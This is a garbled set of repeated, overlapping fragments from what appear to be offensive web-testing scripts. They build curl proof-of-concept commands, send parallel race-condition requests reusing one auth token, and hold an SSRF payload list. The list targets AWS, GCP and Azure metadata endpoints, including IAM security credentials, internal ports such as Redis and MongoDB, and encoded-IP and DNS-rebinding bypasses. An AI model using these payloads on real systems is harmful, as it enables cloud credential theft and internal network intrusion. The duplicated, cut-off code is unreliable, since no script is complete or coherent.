new_query = urllib.parse.urlencode(params, doseq=True)         test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))         return f"curl -k -v '{test_url}'"

test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))         return f"curl -k -v '{test_url}'"     elif param and payload:

return f"curl -k -v '{test_url}'"

elif param and payload:         encoded = urllib.parse.urlencode({param: payload})         return f"curl -k -v -X {method} '{url}' -d '{encoded}'"

encoded = urllib.parse.urlencode({param: payload})         return f"curl -k -v -X {method} '{url}' -d '{encoded}'"     else:

return f"curl -k -v -X {method} '{url}' -d '{encoded}'"

return f"curl -k -v -X {method} '{url}'"

new_query = urllib.parse.urlencode(params, doseq=True)             test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))             req = urllib.request.Request(test_url, headers=headers)

test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))             req = urllib.request.Request(test_url, headers=headers)         else:

req = urllib.request.Request(test_url, headers=headers)

else:             data = urllib.parse.urlencode({{PARAM: PAYLOAD}}).encode()             req = urllib.request.Request(TARGET, data=data, headers=headers, method=METHOD)

req = urllib.request.Request(TARGET, data=data, headers=headers, method=METHOD)

try:             with urllib.request.urlopen(req, timeout=15, context=ctx) as resp:

with urllib.request.urlopen(req, timeout=15, context=ctx) as resp:

new_query = urllib.parse.urlencode(params, doseq=True)             test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))             req = urllib.request.Request(test_url, headers=headers)

test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))             req = urllib.request.Request(test_url, headers=headers)         else:

req = urllib.request.Request(test_url, headers=headers)

else:             data = urllib.parse.urlencode({{PARAM: PAYLOAD}}).encode()             req = urllib.request.Request(TARGET, data=data, headers=headers, method=METHOD)

req = urllib.request.Request(TARGET, data=data, headers=headers, method=METHOD)

try:             with urllib.request.urlopen(req, timeout=15, context=ctx) as resp:

with urllib.request.urlopen(req, timeout=15, context=ctx) as resp:

url = finding.get("url", "")     param = finding.get("param", "")     payload = finding.get("payload", "http://169.254.169.254/latest/meta-data/")

payload = finding.get("payload", "http://169.254.169.254/latest/meta-data/")

PAYLOADS = [             "http://169.254.169.254/latest/meta-data/",

"http://169.254.169.254/latest/meta-data/",

"http://127.0.0.1:80/",

"http://localhost:8080/",

"http://[::1]/",

new_query = urllib.parse.urlencode(params, doseq=True)             test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))             req = urllib.request.Request(test_url, headers=headers)

req = urllib.request.Request(test_url, headers=headers)

try:                 with urllib.request.urlopen(req, timeout=10, context=ctx) as resp:

with urllib.request.urlopen(req, timeout=10, context=ctx) as resp:

def send_request(idx):             headers = {{"User-Agent": "Mozilla/5.0 (PoC exploit-hunter)"}}             req = urllib.request.Request(TARGET, data=DATA, headers=headers, method=METHOD)

headers = {{"User-Agent": "Mozilla/5.0 (PoC exploit-hunter)"}}             req = urllib.request.Request(TARGET, data=DATA, headers=headers, method=METHOD)             try:

req = urllib.request.Request(TARGET, data=DATA, headers=headers, method=METHOD)

try:                 with urllib.request.urlopen(req, timeout=15, context=ctx) as resp:                     body = resp.read(4096).decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=15, context=ctx) as resp:

f"2. Set the '{param}' parameter to: {payload}",         f"3. Observe the response for internal service data or metadata.",         f"4. Try accessing cloud metadata: http://169.254.169.254/latest/meta-data/",

f"3. Observe the response for internal service data or metadata.",         f"4. Try accessing cloud metadata: http://169.254.169.254/latest/meta-data/",         f"5. Try port scanning internal hosts by varying the target IP/port.",

f"4. Try accessing cloud metadata: http://169.254.169.254/latest/meta-data/",

f"1. Prepare a {method} request to: {url}",         f"2. Set up {threads} identical requests with the same session/auth token.",         f"3. Send all requests simultaneously (use threading, curl parallel, or Turbo Intruder).",

f"2. Set up {threads} identical requests with the same session/auth token.",         f"3. Send all requests simultaneously (use threading, curl parallel, or Turbo Intruder).",         f"4. Examine responses: if multiple requests succeed for

f"3. Send all requests simultaneously (use threading, curl parallel, or Turbo Intruder).",

# Generate curl PoC

print(f"    {cls:15s} : {count}")     print(f"  Generated per finding:")     print(f"    - curl command")

print(f"  Generated per finding:")     print(f"    - curl command")     print(f"    - Python PoC script")

print(f"    - curl command")

#!/usr/bin/env python3

if data and isinstance(data, str):         data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)     try:

req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(131072).decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

"baseline_length": len(base_body),                 "tested_length": len(body),                 "poc_curl": f"curl -k '{test_url}'",

"tested_length": len(body),                 "poc_curl": f"curl -k '{test_url}'",             })

"poc_curl": f"curl -k '{test_url}'",

"baseline_length": len(base_body),                 "tested_length": len(body),                 "poc_curl": f"curl -k -X {method} '{target_url}'",

"tested_length": len(body),                 "poc_curl": f"curl -k -X {method} '{target_url}'",             })

"poc_curl": f"curl -k -X {method} '{target_url}'",

"baseline_length": 0,                     "tested_length": len(body),                     "poc_curl": f"curl -k '{test_url}'",

"tested_length": len(body),                     "poc_curl": f"curl -k '{test_url}'",                 })

"poc_curl": f"curl -k '{test_url}'",

#!/usr/bin/env python3

req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

start = time.time()     try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

# Generate PoC curl commands

f"# Send {threads} parallel requests using xargs + curl\n"             f"seq 1 {threads} | xargs -P {threads} -I {{}} "             f"curl -k -X {args.method} '{args.target}'"

f"seq 1 {threads} | xargs -P {threads} -I {{}} "             f"curl -k -X {args.method} '{args.target}'"             f"{data_flag}{cookie_flag}{header_flags}"

f"curl -k -X {args.method} '{args.target}'"

#!/usr/bin/env python3

req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

start = time.time()     try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

for finding in all_findings:         if finding["method"] == "GET":             finding["poc_curl"] = f"curl -k '{finding['url']}' --data-urlencode '{finding['param']}={finding.get('payload', '')}'"

if finding["method"] == "GET":             finding["poc_curl"] = f"curl -k '{finding['url']}' --data-urlencode '{finding['param']}={finding.get('payload', '')}'"         else:

finding["poc_curl"] = f"curl -k '{finding['url']}' --data-urlencode '{finding['param']}={finding.get('payload', '')}'"

finding["poc_curl"] = f"curl -k -X POST '{finding['url']}' -d '{finding['param']}={finding.get('payload', '')}'"

#!/usr/bin/env python3

if data and isinstance(data, str):         data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)     try:

req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

SSRF_PAYLOADS = {     "localhost": [         "http://127.0.0.1/",

"localhost": [         "http://127.0.0.1/",         "http://localhost/",

"http://127.0.0.1/",

"http://localhost/",

"http://0.0.0.0/",

"http://[::1]/",

"http://0/",

"http://127.1/",

"http://127.0.1/",

],     "cloud_metadata_aws": [         "http://169.254.169.254/latest/meta-data/",

"cloud_metadata_aws": [         "http://169.254.169.254/latest/meta-data/",         "http://169.254.169.254/latest/meta-data/iam/security-credentials/",

"http://169.254.169.254/latest/meta-data/",

"http://169.254.169.254/latest/meta-data/iam/security-credentials/",

"http://169.254.169.254/latest/user-data",

"http://169.254.169.254/latest/meta-data/hostname",

],     "cloud_metadata_gcp": [         "http://metadata.google.internal/computeMetadata/v1/",

"cloud_metadata_gcp": [         "http://metadata.google.internal/computeMetadata/v1/",         "http://169.254.169.254/computeMetadata/v1/",

"http://metadata.google.internal/computeMetadata/v1/",

"http://169.254.169.254/computeMetadata/v1/",

],     "cloud_metadata_azure": [         "http://169.254.169.254/metadata/instance?api-version=2021-02-01",

"cloud_metadata_azure": [         "http://169.254.169.254/metadata/instance?api-version=2021-02-01",     ],

"http://169.254.169.254/metadata/instance?api-version=2021-02-01",

],     "internal_services": [         "http://127.0.0.1:22/",

"internal_services": [         "http://127.0.0.1:22/",         "http://127.0.0.1:80/",

"http://127.0.0.1:22/",

"http://127.0.0.1:80/",

"http://127.0.0.1:443/",

"http://127.0.0.1:3306/",

"http://127.0.0.1:5432/",

"http://127.0.0.1:6379/",

"http://127.0.0.1:8080/",

"http://127.0.0.1:9200/",

"http://127.0.0.1:27017/",

],     "bypass_ip_encoding": [         "http://2130706433/",           # 127.0.0.1 in decimal

"bypass_ip_encoding": [         "http://2130706433/",           # 127.0.0.1 in decimal         "http://0x7f000001/",           # 127.0.0.1 in hex

"http://2130706433/",           # 127.0.0.1 in decimal

"http://0x7f000001/",           # 127.0.0.1 in hex

"http://017700000001/",         # 127.0.0.1 in octal

"http://0177.0.0.1/",          # 127.0.0.1 mixed octal

"http://127.0.0.1.nip.io/",    # DNS rebinding via nip.io

"method": method,                     "poc_curl": (                         f"curl -k '{test_url}'" if method == "GET"

"poc_curl": (                         f"curl -k '{test_url}'" if method == "GET"                         else f"curl -k -X POST '{url}' -d '{param_name}={urllib.parse.quote(payload)}'"

f"curl -k '{test_url}'" if method == "GET"

else f"curl -k -X POST '{url}' -d '{param_name}={urllib.parse.quote(payload)}'"

#!/usr/bin/env python3

if data and isinstance(data, str):         data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)     try:

req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(131072).decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

"poc_url": test_url if method == "GET" else None,                     "poc_curl": (                         f"curl -k '{test_url}'" if method == "GET"

"poc_curl": (                         f"curl -k '{test_url}'" if method == "GET"                         else f"curl -k -X POST '{url}' -d '{param_name}={urllib.parse.quote(payload)}'"

f"curl -k '{test_url}'" if method == "GET"

else f"curl -k -X POST '{url}' -d '{param_name}={urllib.parse.quote(payload)}'"

#!/usr/bin/env python3

req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

start = time.time()     try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(65536).decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

#!/usr/bin/env python3

#!/usr/bin/env python3

if data and isinstance(data, str):         data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

data = data.encode("utf-8")     req = urllib.request.Request(url, data=data, headers=default_headers, method=method)     try:

req = urllib.request.Request(url, data=data, headers=default_headers, method=method)

try:         with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:             body = resp.read(131072).decode("utf-8", errors="replace")

with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:

"poc_url": test_url if method == "GET" else None,                 "poc_curl": (                     f"curl -k '{test_url}'" if method == "GET"

"poc_curl": (                     f"curl -k '{test_url}'" if method == "GET"                     else f"curl -k -X POST '{url}' -d '{param_name}={urllib.parse.quote(payload)}'"

f"curl -k '{test_url}'" if method == "GET"

else f"curl -k -X POST '{url}' -d '{param_name}={urllib.parse.quote(payload)}'"